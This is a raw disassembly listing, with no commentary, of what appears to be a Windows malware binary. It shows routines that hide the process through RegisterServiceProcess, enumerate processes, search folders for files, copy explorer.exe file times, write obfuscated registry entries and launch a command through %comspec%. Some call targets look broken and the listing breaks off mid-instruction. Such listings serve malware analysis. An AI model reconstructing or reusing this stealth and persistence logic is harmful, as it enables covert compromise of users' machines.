asc_444AE4 ; "\\" mov ecx, eax mov byte ptr [esp+288h+var_4], 3 call sub_4012EE test eax, eax lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl setz [esp+284h+var_279] call sub_401226 cmp [esp+284h+var_279], bl jz short loc_40CE0B mov ecx, [esp+284h+var_221] lea edx, [esp+284h+var_278] push ecx push edx lea ecx, [esp+28Ch+var_232] call sub_401E47 push offset dword_448F44 mov ecx, eax mov byte ptr [esp+288h+var_4], 4 call sub_401A9B lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 loc_40CE0B: ; CODE XREF: sub_40CC90+142j push ebx lea ecx, [esp+288h+var_232] call sub_4014DD push eax lea ecx, [esp+28Ch+var_247] call sub_4014DD push eax mov eax, [esp+290h+var_219] push eax lea ecx, [esp+294h+var_25C] call sub_40168B mov ecx, [esp+294h+var_260] push eax push ecx call sub_40227A push eax lea edx, [esp+2A0h+var_20C] push offset aFilesFoundD ; "Files Found: %d" push edx nop call sub_5F74D1 mov eax, [esp+2A4h+var_211] add esp, 24h cmp eax, ebx jnz short loc_40CE7C mov eax, [esp+280h+var_215] lea ecx, [esp+280h+var_208] push eax push ecx lea ecx, [esp+288h+var_258] call sub_40168B mov edx, [esp+288h+var_25C] push eax push edx call sub_40152D add esp, 10h loc_40CE7C: ; CODE XREF: sub_40CC90+1C9j mov eax, [esp+280h+var_219] push eax call sub_401E3D add esp, 4 push ebx nop call near ptr 2850140h pop ebx loc_40CE91: ; CODE XREF: sub_40CC90+36j mov ecx, [esp+280h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 27Ch retn 4 sub_40CC90 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CF40 proc near ; CODE XREF: sub_40199Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CF40 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_40142E lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_40CF40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CFC0: ; CODE XREF: ___:loc_40228Ej push 0FFFFFFFFh push offset loc_43A086 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+2Eh] mov dword ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+10h], 0 call sub_401226 lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40D040 proc near ; CODE XREF: sub_40227Aj var_548 = byte ptr -548h var_51C = byte ptr -51Ch var_51B = byte ptr -51Bh var_408 = byte ptr -408h var_304 = byte ptr -304h var_200 = byte ptr -200h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h sub esp, 548h lea eax, [esp+548h+var_408] push ebx push ebp push esi mov esi, [esp+554h+arg_10] push edi mov edi, dword_511AE4 push esi push offset aS_1 ; "%s\\*" push 104h push eax call edi ; _snprintf add esp, 10h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx call near ptr 28A0000h nop mov ebp, [esp+558h+arg_14] mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D107 loc_40D090: ; CODE XREF: sub_40D040+C5j test [esp+558h+var_548], 10h jz short loc_40D0F7 cmp [esp+558h+var_51C], 2Eh jnz short loc_40D0AA mov al, [esp+558h+var_51B] test al, al jz short loc_40D0F7 cmp al, 2Eh jz short loc_40D0F7 loc_40D0AA: ; CODE XREF: sub_40D040+5Cj lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_304] push eax push esi push offset dword_444684 push 104h push ecx call edi ; _snprintf mov eax, [esp+56Ch+arg_C] mov ecx, [esp+56Ch+arg_8] lea edx, [esp+56Ch+var_304] push ebp push edx mov edx, [esp+574h+arg_4] push eax mov eax, [esp+578h+arg_0] push ecx push edx push eax call sub_40227A add esp, 2Ch mov ebp, eax loc_40D0F7: ; CODE XREF: sub_40D040+55j ; sub_40D040+64j ... lea ecx, [esp+558h+var_548] push ecx push ebx nop call near ptr 2890000h test eax, eax jnz short loc_40D090 loc_40D107: ; CODE XREF: sub_40D040+4Ej push ebx nop call near ptr 2880000h mov edx, [esp+558h+arg_C] lea eax, [esp+558h+var_408] push edx push esi push offset dword_444684 push 104h push eax call edi ; _snprintf add esp, 14h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx call near ptr 28A0000h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D19B loc_40D148: ; CODE XREF: sub_40D040+159j lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_200] push eax push esi push offset aFoundSS ; "Found: %s\\%s" push 200h push ecx inc ebp call edi ; _snprintf mov edx, [esp+56Ch+arg_8] mov ecx, [esp+56Ch+arg_4] lea eax, [esp+56Ch+var_200] push edx mov edx, [esp+570h+arg_0] push eax push ecx push edx call sub_40152D add esp, 24h lea eax, [esp+558h+var_548] push eax push ebx nop call near ptr 2890000h test eax, eax jnz short loc_40D148 loc_40D19B: ; CODE XREF: sub_40D040+106j push ebx call near ptr 2880000h nop pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 548h retn sub_40D040 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D210 proc near ; CODE XREF: sub_40104Bj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40D210 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 4 push 4 push 1 push 13h lea eax, [esp+58h+var_3C] push 1 mov esi, ecx push eax call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+19h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_40D210 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 13h lea edx, [esp+1Ch] push 1 push edx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+47h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 4 push 1 push 3 push 16h lea ecx, [esp+20h] push 13h push ecx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+75h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 3 push 16h push 13h lea eax, [esp+3Ch] push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE add esi, 0A3h push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D3C0: ; CODE XREF: ___:004013CFj sub esp, 104h lea eax, [esp+0] push 104h push eax push 0 nop call near ptr 28A1D9Dh push eax nop call near ptr 28A119Bh mov eax, dword_449080 test eax, eax jz loc_40D4E3 mov ecx, dword_44907C test ecx, ecx jz loc_40D4E3 mov ecx, dword_448F48 test ecx, ecx jz loc_40D4E3 push 0 push 2 call eax ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov dword_449078, eax jz loc_40D4E3 push ebp push offset dword_448F50 push eax xor ebp, ebp mov dword_448F50, 128h call dword_44907C ; Process32First test eax, eax jz loc_40D4CC push ebx mov ebx, [esp+110h] push esi mov esi, dword_511AE0 push edi loc_40D44D: ; CODE XREF: ___:0040D4C7j mov edi, offset dword_448F74 or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+10h] repne scasb not ecx dec ecx mov edi, offset dword_448F74 push ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea edi, [esp+14h] sub edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push offset dword_448F74 add edx, ecx push edx call esi ; strncmp add esp, 0Ch test eax, eax jz short loc_40D4B3 mov edi, offset dword_448F74 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push offset dword_448F74 mov ecx, ebx call sub_40168B push eax call esi ; strncmp add esp, 0Ch test eax, eax jnz short loc_40D4B4 loc_40D4B3: ; CODE XREF: ___:0040D48Bj inc ebp loc_40D4B4: ; CODE XREF: ___:0040D4B1j mov eax, dword_449078 push offset dword_448F50 push eax call dword_448F48 ; Process32Next test eax, eax jnz short loc_40D44D pop edi pop esi pop ebx loc_40D4CC: ; CODE XREF: ___:0040D437j mov ecx, dword_449078 push ecx nop call near ptr 28507E8h mov eax, ebp pop ebp add esp, 104h retn ; --------------------------------------------------------------------------- loc_40D4E3: ; CODE XREF: ___:0040D3E6j ; ___:0040D3F4j ... xor eax, eax add esp, 104h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D540: ; CODE XREF: ___:00401FAFj sub esp, 11Ch lea eax, [esp+18h] push ebx push esi push edi push 104h push eax nop call near ptr 28B0B1Fh mov edi, offset aExplorer_exe ; "\\explorer.exe" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+24h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx push 80h and ecx, 3 push 3 push eax push 1 rep movsb mov edi, dword_5118F0 lea eax, [esp+38h] push 80000000h push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D606 lea ecx, [esp+1Ch] lea edx, [esp+0Ch] push ecx lea eax, [esp+18h] push edx push eax push esi nop call near ptr 28B0628h mov ebx, dword_5118E0 push esi call ebx mov ecx, [esp+12Ch] push 0 push 80h push 3 push 0 push 2 push 40000000h push ecx call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D606 lea edx, [esp+1Ch] lea eax, [esp+0Ch] push edx lea ecx, [esp+18h] push eax push ecx push esi nop call near ptr 28B0000h push esi call ebx loc_40D606: ; CODE XREF: ___:0040D5A9j ; ___:0040D5EBj pop edi pop esi pop ebx add esp, 11Ch retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D660 proc near ; CODE XREF: sub_401B6Dj var_19C = byte ptr -19Ch var_184 = byte ptr -184h var_16C = byte ptr -16Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40D660 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 190h push ebx push esi mov esi, ecx push edi lea ecx, [esp+1A8h+var_16C] call sub_40142E push 104h push 104h lea ecx, [esp+1B0h+var_16C] mov [esp+1B0h+var_4], 0 call sub_401C71 push eax nop call near ptr 2800000h lea ecx, [esp+1A8h+var_16C] call sub_4017EE push eax lea ecx, [esi+4] call sub_4015E1 lea ecx, [esp+1A8h+var_184] call sub_40142E mov ebx, 1 push 104h push 104h lea ecx, [esp+1B0h+var_184] mov byte ptr [esp+1B0h+var_4], bl call sub_401C71 push eax push 0 nop call near ptr 28A1D9Dh push eax nop call near ptr 28A119Bh push offset aKernel32_dll_0 ; "kernel32.dll" nop call near ptr 27F08C8h mov esi, eax test esi, esi jz short loc_40D751 mov edi, dword_511918 push offset aRegisterservic ; "RegisterServiceProcess" push esi call edi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push esi mov dword_449084, eax call edi push offset aProcess32first ; "Process32First" push esi mov dword_449080, eax call edi push offset aProcess32next ; "Process32Next" push esi mov dword_44907C, eax call edi mov dword_448F48, eax mov eax, dword_449084 test eax, eax jz short loc_40D751 push ebx push 0 call eax loc_40D751: ; CODE XREF: sub_40D660+A7j ; sub_40D660+EAj mov esi, [esp+1A8h+arg_0] push 0 mov ecx, esi call sub_4017EE push eax lea ecx, [esp+1B0h+var_184] call sub_402135 test eax, eax jnz short loc_40D788 mov al, byte_44916F test al, al jz short loc_40D788 mov ecx, esi call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 loc_40D788: ; CODE XREF: sub_40D660+10Dj ; sub_40D660+116j push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 12h push 10h push 10h push 0Eh push 9 lea eax, [esp+1D8h+var_19C] push 17h push eax call sub_4019C4 add esp, 38h mov ecx, eax mov byte ptr [esp+1A8h+var_4], 2 call sub_4017EE push eax call sub_401604 sub_40D660 endp ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push 0Fh push 8 push 0Ch push 0Ch lea ecx, [esp+38h] push 4 push ecx call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 3 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 4 push 10h push 14h push 6 lea edx, [esp+30h] push 14h push edx call sub_4019C4 add esp, 2Ch mov ecx, eax mov byte ptr [esp+1A4h], 4 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push ebx push 0Ch push 2 push 13h lea eax, [esp+38h] push 0Dh push eax call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 5 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 13h push 9 push 0Eh push 5 lea ecx, [esp+38h] push 10h push ecx call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 6 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 8 push 3 push 14h push ebx push 10h push 13h lea edx, [esp+38h] push 0Dh push edx call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 7 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- db 83h dd 4C8D04C4h, 9C880C24h, 1A424h, 38D4E800h, 448DFFFFh dd 6A3C24h, 244C8D50h, 3EB4E82Ch, 0C085FFFFh, 116850Fh dd 8B550000h, 3E7CE8CEh, 6A50FFFFh, 244C8D5Ch, 3E70E848h dd 8D50FFFFh, 0A8248Ch, 18680000h, 5100444Bh, 1E9B40E8h dd 3D8B9000h, 5118ACh, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah dd 8B30244Ch, 3CD9E8E8h, 358BFFFFh, 511914h, 85D6FF50h dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h dd 44262BE8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3CA3h dd 85D6FF50h, 0A0D074C0h, 4497CBh, 74C0845Dh, 0D8358B39h dd 6800511Ah, 104h, 9C248C8Dh, 68000000h, 444B10h, 83D6FF51h dd 4C8D0CC4h, 4682424h, 0E8000001h, 0FFFF3DCAh, 9C24948Dh dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah dd 447C24h, 0E8900000h, 23F2A4Dh, 874C085h, 0E890006Ah dd 7782C3FEh, 24244C8Dh, 0A42484C6h, 1, 0FF3795E8h, 244C8DFFh dd 2484C73Ch, 1A4h, 0FFFFFFFFh, 0FF3781E8h, 248C8BFFh dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0 ; --------------------------------------------------------------------------- add esp, 19Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DBF0 proc near ; CODE XREF: sub_401195j mov al, byte_449171 test al, al jz short loc_40DC04 push offset word_449172 call near ptr 27F0C3Fh nop loc_40DC04: ; CODE XREF: sub_40DBF0+7j mov al, 1 retn sub_40DBF0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DC20 proc near ; CODE XREF: sub_401E79j var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = dword ptr -6BCh var_6B8 = dword ptr -6B8h var_6B4 = dword ptr -6B4h var_6B0 = byte ptr -6B0h var_6AC = byte ptr -6ACh var_694 = byte ptr -694h var_67C = byte ptr -67Ch var_664 = byte ptr -664h var_64C = byte ptr -64Ch var_634 = byte ptr -634h var_61C = byte ptr -61Ch var_604 = byte ptr -604h var_5EC = byte ptr -5ECh var_5D4 = byte ptr -5D4h var_5BC = byte ptr -5BCh var_5A4 = byte ptr -5A4h var_58C = byte ptr -58Ch var_574 = byte ptr -574h var_564 = dword ptr -564h var_534 = word ptr -534h var_520 = byte ptr -520h var_41C = byte ptr -41Ch var_318 = byte ptr -318h var_214 = byte ptr -214h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40DC20 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 6C4h push esi lea eax, [esp+6D4h+var_41C] push 104h push eax push 0 nop call near ptr 28A1D9Dh push eax nop call near ptr 28A119Bh lea ecx, [esp+6D4h+var_318] push ecx push 104h nop call near ptr 27E0000h push 0 push 14h push 1 push 2 push 4Fh push 0Fh push 12h push 6 lea edx, [esp+6F4h+var_5EC] push 1 push edx call sub_4019C4 add esp, 28h mov ecx, eax mov [esp+6D4h+var_4], 0 call sub_4017EE push eax lea eax, [esp+6D8h+var_318] push eax lea ecx, [esp+6DCh+var_520] push offset dword_444684 push ecx nop call sub_5F74D1 add esp, 10h lea ecx, [esp+6D4h+var_5EC] mov [esp+6D4h+var_4], 0FFFFFFFFh call sub_401226 push 0 push 0 push 2 push 0 push 0 lea edx, [esp+6E8h+var_520] push 40000000h push edx call near ptr 2870478h nop mov esi, eax test esi, esi jbe loc_40E178 push ebx push ebp push edi lea ecx, [esp+6E0h+var_6AC] call sub_40142E push 0 push 14h push 1 push 2 lea eax, [esp+6F0h+var_604] push 4Fh push eax mov [esp+6F8h+var_4], 1 call sub_4019C4 mov edi, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 0Ch push 5 lea ecx, [esp+720h+var_634] push 4 push ecx mov byte ptr [esp+728h+var_4], 2 call sub_4019C4 add esp, 48h mov ebp, eax push 0 push 14h push 1 push 2 lea edx, [esp+6F0h+var_664] push 4Fh push edx mov byte ptr [esp+6F8h+var_4], 3 call sub_4019C4 mov ebx, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea eax, [esp+72Ch+var_67C] push 4 push eax mov byte ptr [esp+734h+var_4], 4 call sub_4019C4 add esp, 54h mov [esp+6E0h+var_6B4], eax push 0 push 5 push 0Eh push 0Fh push 4 lea ecx, [esp+6F4h+var_61C] push 53h push ecx mov byte ptr [esp+6FCh+var_4], 5 call sub_4019C4 mov [esp+6FCh+var_6C8], eax mov byte ptr [esp+6FCh+var_4], 6 push 0 push 14h push 12h push 1 push 14h push 13h push 4Eh push 0Fh push 14h push 0Fh lea edx, [esp+724h+var_5D4] push 7 push edx call sub_4019C4 add esp, 4Ch mov [esp+6E0h+var_6B8], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 0Ch push 5 lea eax, [esp+708h+var_5A4] push 4 push eax mov byte ptr [esp+710h+var_4], 7 call sub_4019C4 mov [esp+710h+var_6C0], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea ecx, [esp+744h+var_58C] push 4 push ecx mov byte ptr [esp+74Ch+var_4], 8 call sub_4019C4 add esp, 6Ch mov [esp+6E0h+var_6D0], eax push 0 push 5 push 0Eh push 0Fh push 4 push 4Eh push 0Fh push 14h push 0Fh push 7 push 4Eh push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 14h push 13h push 9 push 18h push 5 push 4Eh push 14h mov byte ptr [esp+744h+var_4], 9 push 0Fh push 0Eh push 4Eh push 6 lea edx, [esp+754h+var_694] push 9 push edx call sub_4019C4 mov [esp+75Ch+var_6CC], eax push 0 push 14h push 12h push 1 push 14h push 13h lea eax, [esp+774h+var_5BC] push 53h push eax mov byte ptr [esp+77Ch+var_4], 0Ah call sub_4019C4 add esp, 9Ch mov [esp+6E0h+var_6C4], eax push 0 push 6 push 6 push 0Fh push 4Eh push 0Fh push 8 push 3 push 5 lea ecx, [esp+704h+var_64C] push 56h push ecx mov byte ptr [esp+70Ch+var_4], 0Bh call sub_4019C4 add esp, 2Ch mov [esp+6E0h+var_6BC], eax mov ecx, edi mov byte ptr [esp+6E0h+var_4], 0Ch call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax mov ecx, ebx call sub_4017EE mov ecx, [esp+6E8h+var_6B4] push eax call sub_4017EE mov ecx, [esp+6ECh+var_6C8] push eax call sub_4017EE mov ecx, [esp+6F0h+var_6B8] push eax call sub_4017EE mov ecx, [esp+6F4h+var_6C0] push eax call sub_4017EE mov ecx, [esp+6F8h+var_6D0] push eax call sub_4017EE mov ecx, [esp+6FCh+var_6CC] push eax call sub_4017EE mov ecx, [esp+700h+var_6C4] push eax call sub_4017EE mov ecx, [esp+704h+var_6BC] push eax call sub_4017EE push eax lea edx, [esp+70Ch+var_6AC] push offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n" push edx call sub_40102D add esp, 34h mov byte ptr [esp+6E0h+var_4], 0Bh lea ecx, [esp+6E0h+var_64C] call sub_401226 lea ecx, [esp+6E0h+var_5BC] mov byte ptr [esp+6E0h+var_4], 0Ah call sub_401226 lea ecx, [esp+6E0h+var_694] mov byte ptr [esp+6E0h+var_4], 9 call sub_401226 lea ecx, [esp+6E0h+var_58C] mov byte ptr [esp+6E0h+var_4], 8 call sub_401226 lea ecx, [esp+6E0h+var_5A4] mov byte ptr [esp+6E0h+var_4], 7 call sub_401226 lea ecx, [esp+6E0h+var_5D4] mov byte ptr [esp+6E0h+var_4], 6 call sub_401226 lea ecx, [esp+6E0h+var_61C] mov byte ptr [esp+6E0h+var_4], 5 call sub_401226 lea ecx, [esp+6E0h+var_67C] mov byte ptr [esp+6E0h+var_4], 4 call sub_401226 lea ecx, [esp+6E0h+var_664] mov byte ptr [esp+6E0h+var_4], 3 call sub_401226 lea ecx, [esp+6E0h+var_634] mov byte ptr [esp+6E0h+var_4], 2 call sub_401226 lea ecx, [esp+6E0h+var_604] mov byte ptr [esp+6E0h+var_4], 1 call sub_401226 lea eax, [esp+6E0h+var_6B0] push 0 push eax push 69h lea ecx, [esp+6ECh+var_6AC] call sub_4017EE push eax push esi nop call near ptr 27F0000h push esi nop call near ptr 28507E8h mov ecx, 11h xor eax, eax lea edi, [esp+6E0h+var_564] push 104h rep stosd lea ecx, [esp+6E4h+var_41C] mov [esp+6E4h+var_564], 44h push ecx push eax mov [esp+6ECh+var_534], ax nop call near ptr 28A1D9Dh push eax nop call near ptr 28A119Bh lea edx, [esp+6E0h+var_41C] lea eax, [esp+6E0h+var_520] push edx push eax lea ecx, [esp+6E8h+var_214] push offset aComspecCSS ; "%%comspec%% /c %s %s" push ecx nop call sub_5F74D1 add esp, 10h lea edx, [esp+6E0h+var_110] lea eax, [esp+6E0h+var_214] push 104h push edx push eax nop call near ptr 2810000h lea ecx, [esp+6E0h+var_574] lea edx, [esp+6E0h+var_564] push ecx push edx push 0 push 0 push 28h push 1 push 0 push 0 lea eax, [esp+700h+var_110] push eax push 0 nop call near ptr 28004C1h lea ecx, [esp+6E0h+var_6AC] mov [esp+6E0h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop ebp pop ebx mov al, 1 pop esi mov ecx, [esp+6D0h+var_C] mov large fs:0, ecx add esp, 6D0h retn ; --------------------------------------------------------------------------- loc_40E178: ; CODE XREF: sub_40DC20+D6j mov ecx, [esp+6D4h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 6D0h retn sub_40DC20 endp ; --------------------------------------------------------------------------- db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E2F0 proc near ; CODE XREF: sub_401730j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40E2F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_54] call sub_40142E lea ecx, [esp+80h+var_6C] mov [esp+80h+var_4], 0 call sub_40142E lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_40142E push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019C4 add esp, 0CCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 3 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019C4 add esp, 0DCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 4 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019C4 add esp, 0BCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 5 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017EE mov ebp, dword_51175C push eax push 80000002h call ebp mov esi, [esp+80h+arg_4] mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B mov ebx, [esp+84h+arg_0] push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2970000h mov edx, [esp+80h+var_70] push edx call near ptr 2930000h nop push 0 lea eax, [esp+84h+var_70] lea ecx, [esp+84h+var_6C] push eax push 0 push 0F003Fh push 0 push 0 push 0 call sub_4017EE push eax push 80000002h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call 